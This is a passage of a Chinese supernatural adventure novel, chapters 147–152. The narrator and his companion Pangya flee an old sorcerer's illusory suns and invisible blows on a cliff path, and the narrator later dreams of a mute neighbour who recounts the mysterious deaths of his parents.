在那个年月里,人们是相信有神仙的,但是,祖师爷尸解这件事肯定不能传扬的到处都是,一帮门徒还是按照习俗,给祖师爷进行了葬礼。 但祖师爷的棺材里面,只有两件随身的衣服。 等葬礼结束之后,众人就开始认真的钻研这件事,他们翻阅了很多古旧的典籍,把所有关于尸解的内容全都摘抄了下来,经过一番对比,他们愈发确定,祖师爷肯定是尸解成仙了。 成仙,这对所有人来说,都是一种无法抗拒的诱、惑,随后,又有人联想祖师爷当时收回葬经终篇的经过,还有他说的那句话,就此,他们推断出,祖师爷尸解的法门,应该就记录在葬经的终篇里面。 可是,他们都已经把抄好的葬经交了回去,而且,这些手抄本外加祖师爷留下的原本,全都不翼而飞,现在想要回忆葬经终篇的内容,难如登天。 也就是在这个节骨眼上,那个名不见经传的梁初,就浮出了水面。他的年龄小,阅历不深,无意中跟同门说了自己记下了葬经终篇的事情。 由此,梁初一下子变成了香饽饽,被几个分支的人争抢。 那已经是很久远的往事了,中间的详细过程,无法追溯,后人只是大概知道,为了争夺梁初,几个分支之间发生了严重的冲突,据说,梁初按照自己的记忆,把葬经的终篇书写了下来,这本珍贵的手本在不断的争抢中,四分五裂,白八门的几个分支,各自得到了一小部分。 没有任何人能从残章断句中完整的解读终篇的内容,想要合作,却谁也信不过谁。 反正之后的很多年,白八门内部消停一段时间,就要闹一段时间,其实争斗的真正根源,就是葬经的终篇。 “胖丫,你是怀疑,邪神庙里有终篇的残本?” “不能确定,但是没有别的地方可找。” 代表郭家人的邪神庙,早已经在时间长河中被摧毁了,十里沟的这个小破庙,估计是最后仅存的一座,胖丫打听到邪神庙之后,无法确认这里真有残本,只是来碰运气。 没想到,他的运气不怎么样,什么都没找到,最后还受了伤。 “胖丫,你刚才说,我师傅的事,跟这个有关系,到底有什么关系?” “葬经终篇里,藏着尸解成仙的法门,这事情只是白八门流传下来的传闻,具体是不是这回事,我也不能肯定。不过,你师傅当时的情况,也算是一个证据吧。” 师傅和毛叔他们脖子上的红印到底是什么来历,胖丫说不清楚,但是有一点可以确认,就从师傅脖子上出现红印以后,毛叔他们就锲而不舍的在王川山那边搞事情,说不定,他们还去别的地方勘察过,只不过我不知道而已。 可以想象的到,师傅和毛叔他们脖子上出现红印以后,后续的行动就更加的迫切。 这意味着什么? 我猛然间打了个冷战,一股凛冽的寒意,从后脊梁唰的冒了上来。 我之前就猜想过,师傅在王川山小村惨案之后,始终没有停止寻找的脚步,他的生活从表面上来看,非常简单,甚至是枯燥,但我相信,就算师傅本人没有露面,毛叔还有其他一些人,一直忙碌了十几年。 他们这么急迫的寻找,肯定是在找葬经的终篇,这很可能意味着,化解脖子上的红印的办法,就藏在终篇里。 尸解,成仙……一旦能够尸解,那么肉身上的所有创伤,所有疾病,所有不祥,都随之烟消云散。 那么,这也就从侧面印证了一个我一直无法面对的问题。脖子上的红印,几乎是无解的,除非找到了完整的终篇,按照祖师爷留下的法门尸解,才能彻底的化解这个问题。 白八门那么多人在过去的漫长岁月里,一直都在寻找完整的终篇,其中不乏一些道行很深的高手,但从来没有一个人成功过。 我连胖丫都比不上,更不要说那些前辈,他们做不到的事情,我肯定也做不到。 也就是说,脖子上的红印是个死局,我根本解不开,我等于已经死定了。 第147章 日出东方 我还很年轻,虽然之前就知道,脖子上的红印可能没那么容易搞定,但现在想到这个是个彻底无解的死局,我仍然有些接受不了。 蝼蚁尚且贪生,何况是人?如果能不死的话,没有人会心甘情愿的死。 我的情绪又一次波动了起来,那些因为脖子上的红印而死去的人,此刻仿佛一个一个的在脑海中不断的浮现。 “你怎么了?” “没什么,只是想起了一些事。” 我定了定神,把自己的推测和胖丫说了一下,胖丫很聪明,我这么一说,他肯定能想得到。 “我觉得,这件事倒也不是全然没有任何希望,只是有些困难而已。你之前跟你师傅的时候,他没有说白杠子这一门所保存的终篇残章?” “没有,从来没说过,如果不是我卷到这件事里来,可能到现在我都不知道还有葬经终篇。” “这也不太应该啊……”胖丫皱了皱眉头,说道:“白八门四大宗,每一家多多少少都保存了一点残章,这东西很要紧,世代相传,你师傅是梁家的嫡传,不应该把自己手里的残章给弄丢啊……” “师傅没和我说过这些,更没有把什么残章交给我……” “唉……”胖丫也低低的叹息了一声,他自己就在寻找残章,自然知道想要凑齐完整的葬经终篇,会有多么困难。 “先……先别想那么多了,咱们先逃出去,把身上的伤养好再说。” “你放心吧,既然在这里碰见了,就是缘分,你知道我是万花门的,我也不瞒你,我是程家的人。” 白八门四大宗的核心家族,就是宋李程梁。胖丫或许是出于对我深深的同情,再加上彼此已经交流了一些信息,就没再隐藏自己的身份,自报了家门。 “你们万花门的人,我以前也见过。” “你见的万花门的人,不一定就跟我们程家一条心。这都是陈年旧事了,万花门前些年就分崩离析,现在真正跟着程家的,也就那么两三家,剩下的人各自为政,谁也不可能真正听程家的话。” “你这么一说,还有个很要紧的事,我得问问。” “什么事?” “脑袋,我不止一次见过,有人收集了很多脑袋……” 我这两句话还没有说完,胖丫的眼神一凛,突然就冲我轻轻摆了摆手,我们俩算是有默契,他一动手,我就知道是让我赶紧闭嘴。 我因为脑袋上有伤,感官什么的,肯定比之前要迟钝一些,一看到胖丫的眼神,我急忙就闭上嘴巴。 胖丫压低了身子,朝着一旁望去,我们俩现在是在矸石窑的南边,这里有一条小路,身旁不远处,就是矸石窑所在的那片洼地。 胖丫一动不动的猫着腰,朝矸石窑那边张望,最开始的时候,我不知道他在看什么,过了一会儿,我的眼神也跟着一凛,急忙趴到了地上。 从我们现在这个位置,基本上能把整个矸石窑都尽收眼底。窑洞前面的空地上,有三排木架子,木架子下面,密密麻麻的都是一双一双破旧的鞋。 这些鞋子,都是被之前个问生死的中年人缠死的人所留下的,已经有很多年了。中年人消散之后,这片矸石窑应该已经没有什么危险了,我们才敢在这里落脚。 此时此刻,我和胖丫都能看到,木架子下面那一双一双被尘土所掩埋的鞋子,正慢慢的朝这边移动。 每一双鞋子都整整齐齐的,就仿佛有人穿着这双鞋子,一步一步的朝前走。密密麻麻几十双鞋,从四面八方朝这里移动,虽然看不到人影,但这一幕情景,却让我冒出了一身冷汗。 我不知道这是怎么回事,我和胖丫隐藏的已经很严实了,要是真的被人给追上,多半还是邪神庙那个老杂毛。 “小心着点。”胖丫咬了咬牙,我们俩身上都带着伤,要是真遇见了麻烦,可能会很棘手。 “咱们先朝后退,走一步说一步。” “你先退。” 我手脚并用的朝后面爬,把身子压的很低很低,我退出去了几米远,胖丫也学着我的样子,跟着朝后面爬。 我们俩不动还好,这么一动,那边正在靠拢过来的几十双鞋子,就像是不约而同的被踩了尾巴,速度骤然加快。 密密麻麻的鞋子,在地面上荡起一片一片的尘土,矸石窑是在一片洼地里,几十双鞋子移动到洼地的边缘,顺着斜坡继续朝上面移动,那阵势,就好像有几十个看不见的人,正拼命的朝我们爬过来。 我和胖丫立刻加快了速度,一口气爬出去十多米远,现在已经顾不上那么多了,肯定是被老杂毛给发现,再隐藏也没啥用,我们俩直接爬了起来,迈步就朝前狂奔。 谁知道,就跑出去了几步远,前方陡然亮起了一片曙光。我不会记错,我和胖丫躲到这里的时候,还是半夜,天不可能亮的这么快。 但是,那片曙光就在视线极尽的天边,慢慢的浮现了出来,紧跟着,一轮太阳从曙光后面露出了头。 我好歹也活了二十年,日出的情景不知道看过多少次了,从来没有一次像现在这样清晰,从曙光中浮升起来的太阳,一瞬间就好像近在眼前,我甚至还能感受到灼热的阳光。 太阳很快就升到了半空,此时此刻,我不知道是自己的感官出了什么问题,还是别的原因,头顶的太阳好像就挂在十几米高的半空,阳光亮的刺眼,温度一下子升高了不知道多少,瞬间就汗流浃背。 “老杂毛肯定追上来了,这老东西,果然有几分手段。” “他在哪儿?” “不知道。”胖丫朝四周看了看,小声说道:“你也不用太慌,我觉得,老杂毛肯定也有点顾忌,他的道行比咱们都高,如果有把握的话,用不着这样藏头藏尾的。” 我不知道胖丫是不是在安慰我,反正前后左右都看不到老杂毛的身影。 我正在全力的观察,从前方那片曙光的后面,又缓缓升起了一轮太阳。 我的脑袋瞬间就大了,头顶已经挂着一轮太阳,热的人受不了,第二轮太阳要是再升起来,我和胖丫肯定会变成烤肉。 第148章 如影随形 现在的形势又一次紧张起来,我和胖丫急着想要冲出去,但暂时看不到老杂毛。头顶上的两轮太阳肯定是假的,然而,就是这两轮假太阳,却好像散发着真太阳一般的光芒和温度,片刻之间,我就有点受不了了。 “朝那边跑!” 胖丫立刻调转了方向,朝着矸石窑的东边跑去,我心想着胖丫是不是晕头了,现在想要硬冲出去,肯定也得找个地势平坦的地方。可矸石窑的东边,是一片很崎岖的山地,只有一条羊肠小道曲曲折折的延绵其中。 这要是真奔逃起来,说不定没被对方给追上,自己就会失足从小路掉下去。 小路的两侧都是很深的山沟,真要是坠落,肯定不是闹着玩的。 但胖丫已经跑的虎虎生风,我没办法,只能在后面跟上,一边跑,一边提醒道:“胖丫,前面的路那么窄,真不怕出什么危险吗?” “你是不是真的傻!咱们现在身陷不测,就是因为那个老杂毛已经追到附近了,咱们身上有伤,老杂毛身上的伤恐怕也不轻。能明白么?” 胖丫这么一说,我倒真的理解了她的意思。老杂毛现在所用的,不是白八门的手段,但有一点可以确定,没有人能真的和神仙一样千里之外施展什么法术。想要用方外术法围困别人,施法的人肯定会在附近。 也就是说,我们现在要躲避的,不是头上的太阳,而是老杂毛本人。 老杂毛不是泛泛之辈,但他最大的弱势,就是上了年纪,加上身受重伤,我和胖丫只要咬牙猛冲,等不顾一切的逃出一段距离,甩开老杂毛的话,所有的危机就会迎刃而解。 我们走在这种羊肠小道/上都很困难,老杂毛肯定会更困难。 我心里不由自主的有些惭愧,胖丫的选择是正确的,如果真要是朝着地势平坦的地方逃,老杂毛会不紧不慢的隐藏在周围,活活的困死我们。 一打定主意,我就心无旁骛的跟着胖丫跑,最开始的时候,跑的还算顺畅,但是跑到那条羊肠小道的中间,就没办法跑的那么快了。 要命的是,头上的太阳一直都没有停息,始终尾随着我们,这其实也隐隐说明,老杂毛在后面一路追了上来。 “这老东西的门道可真不少,这是以前民间的五行术,多少年都没见过了,没想到老东西还会这么一手。” “那咱们这一趟,是不是都来错了?他不是白八门的人,怎么可能有……有葬经的终篇?” “现在还说这些干什么?逃命要紧。” 我和胖丫不得不放慢了脚步,严防会失足滑落到路边的山沟里,不过,胖丫的判断没错,我们虽然速度减慢了,但是,头顶那两轮太阳飘动的速度也越来越慢。 不多久,我们就把那两轮太阳甩脱了大概有二十米远,要是按照这个势头发展下去,我们俩有很大希望能避开老杂毛的追击。 陡然间,后面那两轮太阳嗖的一下加快了速度,风驰电掣一般的从头顶越过,我的心头一紧,还没来得及反应,两轮太阳猛的从上空坠落下来。 我和胖丫正在全力朝前奔跑,但是太阳一落,只能被迫停下脚步,胖丫只觉得不妥当,赶紧推着我又后退了好几米远。 两轮虚幻的太阳嘭的一声,落在了我们俩刚才立足的地方,一团灼热的热浪瞬息间便像是两颗燃烧弹,轰然炸裂,汹汹的火顺着羊肠小道开始蔓延,那种温度,真的不是普通人能够承受的。 “退!” 胖丫催着我赶紧朝后面退,我明知道老杂毛肯定就在后头,但是却不得不硬着头皮后退。退回去了大概有四五十米远,顺着路面蔓延的火苗才最终停了下来。 两轮太阳坠落之后,周围一下子又陷入了沉沉的夜色,我和胖丫转头朝四周看了看,黑的一塌糊涂,实在看不清楚老杂毛躲在什么地方。 现在也顾不上那么多了,胖丫看到路面上的火已经渐渐熄灭,调头又朝着前面跑。 然而,他仅仅跑出去了三四步远,迎面突然像是出现了一只看不见的拳头,兜头给了胖丫一下。胖丫根本就来不及躲闪,嘭的被打了个仰面朝天。 “胖……” 我心里一惊,虽然现在的光线已经暗淡了,但我和胖丫距离很近,尤其是在这种狭窄的羊肠小道/上,如果迎面真有什么东西,我不可能看不到。 但我真的什么都没有看清楚,就看到胖丫被直接干倒了。现在俩人都是一条绳上的蚂蚱,一荣俱荣一损俱损,我急忙想要上去把他给扶住。 谁料到,我连脚都没抬起来,突然就感觉一阵极度的危险,来不及分辨这危险究竟来自何处,鼻子上就仿佛被什么东西给重重砸了一下。 这一下真的把我给砸疼了,捂着鼻子就趴了下来,可我不敢来回挣扎,旁边就是山沟,挣扎的狠了,没准就会掉下去。 这时候,胖丫翻身爬了起来,但他刚刚起身,那股无形的力量似乎又从旁边出现了。胖丫的反应很快,拧身躲了一下,可是,那股无形的力量也特别的快,胖丫躲过了一下,却没躲过第二下,脸颊上又挨了重重一击。 这一击差点把胖丫给打趴下,他和我一样,就算被打的喘不上气,也不敢随意的挣扎,害怕滚落到山沟里。 我的鼻子被砸的很重,整张脸好像都酸痛到了极点,可我又害怕老杂毛会突然袭击,强忍着这种酸痛,又一次站了起来。 周围还是什么都看不到,但我一站起来,那股无形的力量又转移到了我这边,我和胖丫一样,尽管有了充足的防备,却无法猜测那股力量的来源,后腰上嘭的一下,又像是被什么重物给砸了一下子。 这一下仍然砸的很重,我的重心本来就不稳,后腰挨了一下之后,脚下一软,一个趔趄就朝前扑倒在地。 小路只有那么宽,我这么一扑,重心更加失衡,眼瞅就要从路边摔落到山沟中。 第149章 生死相搏 此时此刻,我已经没有了自救的能力,整个人顺着小路的边缘就朝山沟里滑落。 路边是个斜坡,滑不留手,怎么都止不住下坠的趋势,我的心凉透了,山沟下面黑乎乎的,尽管不知道具体都多深,一旦掉下去,肯定不好受。 就在这千钧一发之际,我感觉自己左脚的脚脖子猛然被人给拉住了。匆忙中回头一看,是胖丫咬紧牙关,及时拉住了我。 现在的情况相当不妙,胖丫也没时间多说什么,拉住我的脚脖子之后,拼尽全力朝上一拽。有了胖丫的帮助,我总算是甩脱了困境,急忙翻身又爬回到了小路上。 在我翻身爬回来的同一时间,胖丫的后背好像又被那股无形的力量给猛撞了一下。胖丫已经有了充分的准备,这一击来的很突然,胖丫全力压低的身躯,躲了过去。 这样下去肯定不行,老是被动挨打,又在地势这么险峻的地方,时间久了迟早要出麻烦。 “看起来,还是小看这个老东西了。”胖丫就地一滚,语气已经非常急迫:“这老杂毛学的东西很杂,对付他不容易。” “不行的话,咱们分开跑吧,他再有本事,也不可能分身同时追赶咱们俩。” “得了吧,你这点本事,要是他真来追你,你能躲得过?趴着别动!” 胖丫手脚并用的朝前爬了爬,然后支撑起身体。我完全无法分辨那股无形的力量是从哪里出现的,也不敢直接就爬起来。 就在我全神贯注想要找到一些端倪的时候,胖丫突然一抖手,丢出去一颗小球。 小球呼啸着从半空飞到了后方,在距离地面大概有五六米的地方嘭的一声爆散了。小球里面装的是一团粉末一样的东西,粉末亮晶晶的,爆散了之后,就飘散到各处,然后飘飘洒洒的落了下来。 在无数的粉末飘落的那一瞬间,我突然就看到老杂毛的影子显现了出来,他就站在离我们大概不到十米远的地方。 老杂毛身上的伤也很重,还被我给捅了一刀,他的腰身已经站不直了,弯腰驼背的站在那边,我能看到老杂毛的手里,提着两个黑不溜秋的布娃娃,每个布娃娃上面,都沾染着一点已经干涸的血迹。 我心里确实有点佩服胖丫,老杂毛隐藏的很深,只有胖丫才能想办法硬逼他出来。 当老杂毛现身的那一瞬间,胖丫立刻猫着腰朝那边飞奔过去,我也知道,现在不是躲闪的时候,要是不把老杂毛给搞定,后面就会一直找我们的麻烦。 我对老杂毛的确有点畏惧,这老东西的门道很杂,玩的也很花哨,不过,老杂毛重伤之下,实力肯定是要打折扣的,否则,他也不用鬼鬼祟祟的躲在暗处,对我们下黑手。 胖丫飞奔出去的同时,我也跟着冲了过去。羊肠小道只有一米多宽,左右两边都是山沟,根本没有辗转腾挪的余地。胖丫冲的很猛,就是想在最短时间里跟老杂毛一决生死,老杂毛全力的后退,只不过却完全退不开。 当胖丫冲到离老杂毛很近的地方时,老杂毛猛然一抖手里的两个沾血的布娃娃。 这两个布娃娃黑不溜秋的,看上去更像是什么东西的皮子缝制起来的玩偶,民间这种用玩偶小人儿做法事的情况很多,但没有谁能像老杂毛这样,直接给被施法者带来致命的危险。 两个玩偶抖动起来的时候,胖丫的面前,似乎又出现了一股无形的力量,胖丫的本意肯定是不顾一切的先把老杂毛给放倒。但老杂毛肯定也急眼了,那股无形的力量,比之前还要大很多。 正在猛冲的胖丫突然像是撞到了一堵墙上,整个人嘭的一下被弹了回来,幸亏他做了很充分的准备,身躯被撞飞之后,也没有彻底失去平衡。 胖丫落到了小路的正中间,这一下撞的很惨,我看到胖丫的嘴角似乎渗出了一丝血迹。 与此同时,老杂毛转身就要跑,我知道轻重缓急,让这老东西逃走,后果不堪设想。 我连想都没想,直接从胖丫身上跳了过去,老杂毛又抖了抖手里的玩偶,我毫不迟疑的猛然朝地上一扑,瞬息之间,我能感应到一股无形的力量,贴着我的头发唰的呼啸而过。 躲过了这沉重的一击,我直接在地上打了几个滚儿,一把抱住了老杂毛的双腿,老杂毛在拼命的反击,此时此刻,两个人单纯是在靠自己的力量生死相搏。 我年轻力壮,如果放到平时,靠体力跟老杂毛搏斗,我觉得自己不会吃亏,但两个人纠缠到一起之后,我脑袋上松动的那块骨头,就好像又一次要崩裂的似的,强烈的眩晕还有剧痛一下子把我给淹没其中。 我的眼前一黑,差点昏死过去,但生死关头,压根就没有回环的余地,我强撑着不肯松手,继续死缠着老杂毛。 这时候,后面的胖丫也赶来帮忙,老杂毛明显气馁了,一个劲儿的想要挣脱我,胖丫风驰电掣一般的赶过来,二话不说,冲着老杂毛就下了死手。 我眼前的景象一直模模糊糊,忽远忽近,好像随时都会昏厥过去,脑袋只要一动,就会感觉脑浆子要甩脱出来。我只管抱着老杂毛的两条腿,死都不松手。 就这么斗了一会儿,老杂毛站不稳脚了,但这老东西也是凶悍之极,好像自己死了,也一定要拉一个垫背的,他死死的抓着胖丫的一条手臂,等他的身躯歪歪斜斜朝着一旁倒下的时候,直接把胖丫也带了过去。 三个人现在各自纠缠在一起,我的神智非常模糊,已经没有思考的时间了,只管抱着老杂毛的腿。 很快,我就觉得身躯朝着路旁的斜坡猛然一滑,脑子里潜意识就觉得危险,迫不得已松开手,在周围胡乱的扒拉,想要找个能借力的地方。 但是路边的斜坡光溜溜的,什么都抓不住,很短时间里,整个人越滚越快,直接从上面一直滚到了山沟的最底部。 我好像腾云驾雾似的,等翻滚的趋势缓缓停止下来的时候,已经完全坚持不住,随后就失去了知觉。 第150章 哑巴大爷 失去知觉的前一段时间,我没有任何的反应,就好像死了一样。不知道过了多久,我终于有了那么一点反应,如同在沉睡中突然进入了梦境。 我做过很多次梦,可是,却没有任何一次像现在这样,真实的让人感觉完全不是梦。 我梦见自己在一条弯曲的小路上行走着,小路的远处,可以依稀看到一个很小的小村子。 这是一个荒僻的村子,孤零零的矗立在一大片荒野中。 不知道为什么,我总觉得脚下这条小路非常的熟悉,一时间又想不起来具体的细节。 顺着这条小路一直朝前走,最后就走到了那个小村子的村口。这是一个很小但是很宁静的小村,村口有一棵大树,几个上了岁数的老头儿,都坐在树荫下乘凉,闲聊。 我在大树的旁边停下脚步,此时此刻,我不仅觉得刚才走过的那条小路很熟悉,而且,村口的这棵树,还有小村整体的轮廓,也都让我有一种熟悉的感觉。 那种感觉,其实并不算陌生,就好像一个人突然回到了阔别很久很久的地方,尽管时间冲刷掉了一些记忆,但烙印在内心深处的印象,却不会被彻底的泯灭。 只要再次来到这个地方,或多或少,都会勾动起一些久远的回忆。 树荫下面那几个正在闲聊的老头儿,似乎并没有在意我的到来,我慢慢的看了一眼,很快,一个单独坐在一旁的老人,引起了我的注意。 那老人是个秃头,面庞黑红黑红的,一个人坐在一旁抽旱烟。 我心里的感觉,越来越复杂,这个地方让我感觉熟悉,而且,坐在树荫下的那几个老人,外加这个面色黑红的秃顶老头儿,都让我觉得似曾相识。 尤其是那个秃顶老头,似乎给我留下的印象更深刻,我慢慢的走到对方跟前,秃顶老头儿磕掉烟袋里的烟灰,抬头看着我。 四目相对,我的脑子立刻开始急速的运转,脑海中仿佛掀起了一场颠倒天地的波澜。无数的记忆碎片,从脑海中蜂拥而出。 突然间,一块仿佛隐藏在脑海最深处的碎片,一下子被我捕捉到了。 我想起这个秃顶老头儿是什么人了! 我十三岁跟着师傅学艺,在学艺之前,我其实也是有家有父母的。那时候,我住在一个小村里,父母都在村里务农。 后来,父母亲过世了,我孤苦无依,恰好遇见了师傅,师傅知道了我的身世之后,觉得我一个十多岁的孩子,可能没办法独自生活下去,他才破例收了我当徒弟。 等我长大了以后,充斥在脑海和记忆中的,几乎都是和师傅相处的点点滴滴,关于拜师之前的那些过往,似乎都淡忘的没有影子了。 当年居住的小村是什么样子,村里有什么人,我都不太能回想起来,也就是这个秃顶老头突然出现,才勾动了记忆中散碎的碎片。 当年我在小村住的时候,依稀记得我们家的邻居是个孤寡老人,老人姓周,是个哑巴,一辈子没有成家,一直都在村里放羊。村里人都喊他哑巴大爷。 或许就是因为以前和哑巴大爷接触的多一些,所以对他的印象远比对其他几个老头儿深刻。 尽管此刻是在失去知觉的情况下,但是认出哑巴大爷的时候,我还是有点激动。 毕竟,有些人,有些事,代表的是很多很多曾经逝去的岁月和年华。 “哑巴大爷……” 我忍不住喊了他一声,但话一出口,就觉得很多余,哑巴大爷从小就是哑巴,根本不会说话,我又看不懂他的手势,基本上没办法正常交流。 “是你啊,五满……” 让我意想不到的是,我这句话刚刚说完,哑巴大爷竟然开口说话了。 “哑巴大爷,你……” “人嘛,都是会变的,昨天我不会说话,难保今天就会说了呢,五满,你还记得这个村子啊。” “还记得,就是记得不太清楚了。” “也难怪,都过去很久了,那时候你还小,有的事,可能就是记不清楚了。” “哑巴大爷,这些年你过的咋样?” “没有好,也没有不好,人嘛,从生下来就是个熬,什么时候熬到油尽灯枯了,就算是熬到头了。” 我和哑巴大爷说话的时候,那边几个正在瞎扯的老头儿似乎看到了我。 或许就因为哑巴大爷勾起了我的记忆,随后,这几个老头儿也都在我的印象中一一显露了出来。我大概记得,这几个人好像全是村子里的。 当年,村里偏僻,而且很穷,村民们除了每天干活睡觉,就没有别的事情可做,上了年纪的人干不动活儿了,也没有其它的消遣,就只能凑在一起吹牛聊天。 我越是这样想,记忆就好像越是清晰,我记得小时候没什么事情,在村子外面跑着玩儿,每次都要太阳快落山的时候,才会急匆匆的朝家赶。 每当经过村口的时候,都能看到那几个老头儿在树下坐着吹牛。 按道理说,我们都是一个村子的,尽管我离开村子的时候,年纪还小,但这些老人不应该不记得。可是,他们看见我之后,表情似乎都变的复杂了起来。 过了两分钟,这几个老头儿不约而同的拖着小凳子,朝后面挪了挪,那样子,就如同刻意的和我保持一定的距离。 不仅如此,他们重新坐下来之后,就头碰头的在一起嘀嘀咕咕,说几句话,还会斜眼偷偷的看看我。 我其实挺讨厌这种眼神,别人对我怎么样,不管好与坏,直接说出来,彼此心里也不用猜疑。我就怕人家背后窃窃私语的议论,很让人受不了。 “五满,别看他们了。” “哑巴大爷,没事,我就是觉得奇怪而已。” “没啥可奇怪的,他们凑在一起,也就是张家长李家短的说点闲话而已,你只当看不见就是了,没必要跟他们计较。管天管地,也管不住别人背后说什么,对不对?” 如果哑巴大爷不说,我可能还不会多想,但他一说,反倒让我觉得,那边的几个老头儿说的好像是跟我有关的闲话。 “哑巴大爷,他们在说什么?” “他们……还能说什么?”哑巴大爷拿着烟袋,又装了一锅烟丝,说道:“他们无非是在说你家的事情。” “我家的事情?” “对。”哑巴大爷顿了顿,又抬头看了看我,很认真的说道:“你家的事情。” 第151章 蹊跷的死亡 “我家的事情?我家的什么事情?” “你一点都不记得了?” “我……我真的不记得了……” “那也可能,是你当时年纪还不大吧。” 哑巴大爷的话,令人感觉疑惑。当时我父母去世,我孤身飘零的时候,也有十二三岁了,虽然没长大成人,但不可能什么事情都不记得。 也就是这么一瞬间,另外一种异样的情绪,在心底深处缓缓升起。 一般来说,人在童年时的记忆,不可能完全忘记,恰恰相反,很多人对童年发生的一些事情,一辈子都不会忘怀,越是久远之前的往事,越是记得很清楚。 可我,似乎是个例外。从我跟着师傅学艺以后,就很少会想起过去的事,不要说那些乱七八糟的杂事,就连自己的父母,我都很少会想起。 这其实并不符合常理,一个没成年的孩子,不管自己生活的环境再好,身边的人对自己再亲,但父母是任何人都无法替代的。 我想不起来这些,是因为心里的印象非常的淡薄,淡薄到几乎没有什么印象。 “哑巴大爷,你和我说说,他们在议论我们家什么事情?” “都是过去的事了……”哑巴大爷抽着旱烟,轻轻摇了摇头,说道:“你不记得以前的事了,还记得你的爹娘不?” “还记得。” 当我回答了哑巴大爷之后,自己又觉得很迟疑。没有人会忘记自己的父母,可是,让我真的去回忆他们,好像又想不起来什么。 我只记得,我父母都是普通的乡下人,务农为生,性情质朴,从小对我很关爱。 但除了这些,我就再也没有更多的记忆了。 “你爹娘是老实人,只不过……” “只不过什么?” “他们死的……有点蹊跷了。” “怎么蹊跷?” “你跟我来。” 哑巴大爷收起旱烟袋,转身朝着村子里面走去,我跟了上去,等走进村里那条小路的时候,回头一望,树荫下面那几个老头,还是在指指点点,嘀嘀咕咕。 村里的这条小路,还是熟悉的,并不是因为我的记忆太深刻,只是因为以前走这条路走的多了。 哑巴大爷一直带着我走到了村子的最西边,当我走到这里的时候,尽管印象很淡,却还是能认出来,这是我家,是我以前住了十多年的地方。 “你家原先就在这里。”哑巴大爷指了指那个小院,又指了指隔壁,说道:“我住这里,跟你家是邻居。” “大爷,你要带我看什么?” “看看你的家。” 小院的院门没有上锁,一推就开了,站在院子外面,就能看到这个小院的布局。 院子不大,本来收拾的很整齐,只不过多少年没人居住了,到处都是杂草。我看到了放在墙角的一些农具,还看到屋檐下的小桌子。 除此之外,院子的角落里,堆着一些木头做的小车子,小玩具,多少年过去了,这些东西都保存的完好无损。 有的事情,不用太深刻的记忆,也不用别人解说,只要自己一看,心里大概就明白了。 我能推断出,父母亲都是勤快人,平时下地干活,晚上收工以后,一家人就在那张小桌子上吃饭。 看着眼前的院子,我呆住了,不知道该说些什么。 “你爹娘那时候岁数还不算大,都是三十出头的年纪,平时身子骨也很结实,可……可有一天,俩人说没就没了。” 如果不是哑巴大爷说起这些,我或许一直都不会自己主动去想。从我跟着师傅学艺之后,就记得自己的爹娘不在了,可他们到底是怎么不在的,我一直不太清楚。 “大爷,当时到底是怎么回事?” “我和你说说吧,事情过去这么久了,你也……别太往心里去。” 哑巴大爷和我家做邻居已经很久了,可以说,我父亲小的时候,就是哑巴大爷看着长大的,两家的关系很好。中间有那么几年时间,哑巴大爷得了病,没办法干活,都是我父亲供养着他。 出事的时候,是一个晚上,大概是凌晨两三/点钟。哑巴大爷上了年纪,睡的很浅,突然就被一阵隐约的哭声给惊醒了。他一起身,就听到哭声是从我家传出来的。 哑巴大爷赶紧来敲门,没有人给开,他觉得肯定是出了什么事,最后没办法,自己翻墙跳了进来。 等他进来的时候,就看到我站在院子里哭,他打着手势询问我,我却什么都说不出来,就是一个劲儿的哭泣。 随后,哑巴大爷在屋里看到了我爹娘的尸体。 人是怎么死的,什么时候死的,谁都说不清楚。哑巴大爷只知道,我爹娘身上没有任何外伤,而且从表面来看,也看不出什么挣扎扭打的痕迹。 就在哑巴大爷手足无措的时候,我爹的一只手,突然轻轻动了动,或许是没有完全死透。哑巴大爷急忙凑过去,他不会说话,只能咿呀咿呀的打着手势追问。 我爹当时已经说不出话了,眼神一片黯淡,他使劲想要扭着头,朝屋子外面看。哑巴大爷知道,我爹是在看我。 爹应该清楚,自己肯定活不下去了,他挂念我这么小的年纪,却没有人再来照顾我,他放心不下。 哑巴大爷跟我爹认识了那么久,对我爹的脾气性格非常了解,他也看得出,我爹是放不下我。哑巴大爷赶紧打着手势表示,让他放心。 过了大概两三分钟,我爹就不动弹了,这一次,他是真的没了呼吸。 熬到天亮之后,哑巴大爷就去找人帮忙。因为爹娘死的很突然,也有点蹊跷,乡下人最忌讳这种事情,哑巴大爷求了一圈,人人都害怕招惹什么麻烦。 哑巴大爷没办法了,只能一个人张罗着操办后事。我家里穷,没什么积蓄,哑巴大爷找人借钱,人家看到我爹娘都不在了,只剩下我一个人,都害怕我还不上这笔钱,没人肯借。 哑巴大爷卖掉了家里仅剩的两只羊,然后到外头去请专门办丧事的人。也就是那一次,我师傅帮着我家办丧事,知道了家里的情况,这才和哑巴大爷商量,把我收养了。 第152章 彻底断绝 这些事情,我没有什么印象,尤其是爹娘的死因。 我不知道这到底是怎么回事,如果换做别的孩子,即便当时不懂太多事,等长大之后,肯定要追根溯源,把情况给弄清楚。 可是,这些往事在我脑海里真的特别特别的淡,淡到让我想不起去追寻什么真相。 一直到这时候,我才知道,爹娘虽然是普通人,可是他们的死,一定有内情。 事情过去了那么久,除了哑巴大爷,再也没有别的知情者,我只能尽力把情况都询问清楚,然后根据细节去推敲一些线索。 “大爷,我爹娘……我爹娘的尸体,什么都看不出来吗?” “看不出来,孩子,要是能看出来,我会不和你说吗?” “大爷,你再仔细想一想,当时有什么别的细节,都和我讲讲。” 哑巴大爷对当天的事,记得还很清楚。那天并没有什么异常的情况,因为我们那个小村子比较偏僻,平时几乎没有外人,村里人就是在自家的田里干干活,回家吃饭睡觉。 当天,我爹娘带着我在地里干活,傍晚时候回的家,做好饭之后,我父亲还给哑巴大爷送去了一份。乡下人没有那么多娱乐活动,吃完饭天色一黑,几乎家家户户都睡觉了。 再之后,就是哑巴大爷听到我的哭声,翻墙而入。 “孩子,我就是个乡下老头儿,没什么见识,你爹娘死的时候,我是真没看出什么,只是……你爹娘没病没灾的,突然就没了,村里人都在说三道四……” 这些话,无疑意味着爹娘的死不是很正常,我如果不知道这些事情,那也罢了,等我知道了之后,情绪必然会不稳定。 我还没来得及再说什么,脑袋上就突然一阵难以抵挡的剧痛,这阵突如其来的剧痛,让我一下子醒了过来。 我猛然睁开双眼,头顶的天还是暗淡的,不过,应该很快就会泛白。 我身边都是泥土和石头,肯定还是在小路旁的山沟最底部。等我苏醒过来的那一瞬间,立刻就想起了老杂毛。 